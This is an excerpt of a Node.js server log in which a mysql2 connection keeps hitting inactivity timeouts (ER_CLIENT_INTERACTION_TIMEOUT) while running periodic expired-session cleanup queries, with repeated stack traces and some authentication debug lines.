    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 13:05:41' as DATETIME)"
}
2026-03-30T13:20:06.086Z server-connect:router Serving templateView /
2026-03-30T13:20:06.087Z server-connect:app Executing action step identify
2026-03-30T13:20:06.087Z server-connect:app options: { provider: 'security' }
2026-03-30T13:20:06.087Z server-connect:auth No login cookie found
2026-03-30T13:20:06.087Z server-connect:output identity: false
2026-03-30T13:20:06.087Z server-connect:app Executing action step restrict
2026-03-30T13:20:06.087Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-30T13:20:06.088Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 13:31:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 13:31:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 13:38:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 13:38:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 14:08:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 14:08:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 18:26:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 18:26:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 19:33:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 19:33:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 20:02:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 20:02:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 20:30:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 20:30:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-30 20:55:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-30 20:55:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 04:10:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 04:10:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 06:49:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 06:49:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 06:55:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 06:55:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 07:04:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 07:04:43' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 09:53:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 09:53:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 13:01:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 13:01:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 14:16:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 14:16:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 14:51:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 14:51:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 16:09:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 16:09:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 16:28:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 16:28:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 19:41:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-31 19:41:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-31 21:14:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
